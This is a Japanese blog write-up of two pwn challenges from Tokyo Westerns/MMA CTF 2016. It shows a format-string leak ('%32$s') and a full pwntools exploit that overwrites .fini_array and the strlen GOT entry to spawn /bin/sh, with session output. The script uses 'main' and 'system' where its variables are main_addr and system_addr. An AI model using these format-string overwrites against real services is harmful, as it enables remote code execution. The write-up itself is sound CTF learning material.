読者です 読者をやめる 読者になる 読者になる

ブログ未満のなにか

ブログなのか誰にも分からない

Tokyo Westerns/MMA CTF 2nd 2016 writeup

はじめに

RinGorillaというチームで、参加しました。
530ptの99位で、僕が通したsubmitは、60ptです。
と言っても、welcomeの10ptがあるので、実質1問だけです。
他のメンバーに申し訳ない。。。

解けたjudgementと、他のwriteupを見ながら解いたgreetingの2問のwriteupです。

judgement

事前調査。

% file judgement 
judgement: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID

% checksec --file judgement  
[*] '/home/hama/ctf/twctf/judgement'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[hama@vm_ubuntu-x86_64] ~/


main関数の前に、load_flagという関数が呼ばれており、flagが読まれているよう。
flagのあるメモリのアドレスは、0x804a0a0だった。
スタックに、0x804a0a0があれば、FSBで読み出すことができる。

printf実行直前で、0x804a0a0を検索してみると、スタックに積まれていることがわかる。
gdbで、0x804a0a0のオフセットを確認したら、28と32だった。

gdb-peda$ searchmem 0x804a0a0
Searching for '0x804a0a0' in: None ranges
Found 7 results, display max 7 items:
judgement : 0x80486e6 (<init+89>:	mov    al,ds:0x8d0804a0)
judgement : 0x80487ab (<main+128>:	mov    al,ds:0x8d0804a0)
judgement : 0x80496e6 --> 0x804a0a0 ("TWCTF{dummy}")
judgement : 0x80497ab --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb00 --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb10 --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb44 --> 0x804a0a0 ("TWCTF{dummy}")
% nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> %32$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

greeting

競技中に解けなかった。
どこのアドレスを書き換えればいいのか分からずタイムアップ。

% file greeting 
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[
[hama@vm_ubuntu-x86_64] ~/ctf/twctf/greeting

% checksec --file ./greeting
[*] '/home/hama/ctf/twctf/greeting/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE


main関数の処理が終わると、_fini_arrayにあるアドレスの処理が実行される。
この_fini_arrayの値を書き換えてやれば、main関数終了後に、任意の処理を実行可能となっている。
_fini_addrをmainに書き換える。また、strlenのGOTを、systemに書き換える。
入力された文字列の長さを得るために、strlen(input)となっているので、system("/bin/sh")となるようにする。
二度目のmainの処理で、入力として"/bin/sh"を与える。
以下が、そのexploitのコード。

from pwn import *
from libformatstr import FormatStr

host = 'pwn2.chal.ctf.westerns.tokyo'
port = 16317

_fini_array_addr = 0x08049934
main_addr = 0x080485ed 
system_addr = 0x08048490
strlen_got_addr = 0x8049a54

offset = 12
padding = 2

'''
  20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4

080485ed <main>:
   80485ed:       55                      push   ebp
   80485ee:       89 e5                   mov    ebp,esp
   80485f0:       83 e4 f0                and    esp,0xfffffff0

08048490 <system@plt>:
    8048490:       ff 25 48 9a 04 08       jmp    DWORD PTR ds:0x8049a48
    8048496:       68 28 00 00 00          push   0x28
    804849b:       e9 90 ff ff ff          jmp    8048430 <_init+0x2c>

080484c0 <strlen@plt>:
    80484c0:       ff 25 54 9a 04 08       jmp    DWORD PTR ds:0x8049a54
    80484c6:       68 40 00 00 00          push   0x40
    80484cb:       e9 60 ff ff ff          jmp    8048430 <_init+0x2c>
'''

p = FormatStr()
p[_fini_array_addr] = main
p[strlen_got_addr] = system

r = remote(host, port)
print r.recv()
r.sendline(p.payload(offset, padding, len("Nice to meet you, ")))
print r.recv()
r.sendline("/bin/sh")
r.interactive()
% python exploit.py 
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
Hello, I'm nao!
Please tell me your name... 
Nice to meet you,                                                                                                                        
[*] Switching to interactive mode                                                                                                        
                                                                                                                                         
Please tell me your name... $ cat flag
TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
$ 
[*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317

おわりに

pwn初心者なので、greetingは勉強になった。
今回から、pwn系のtoolを使い始めたので、慣れていきたい。
運営のTokyo Westernsに感謝!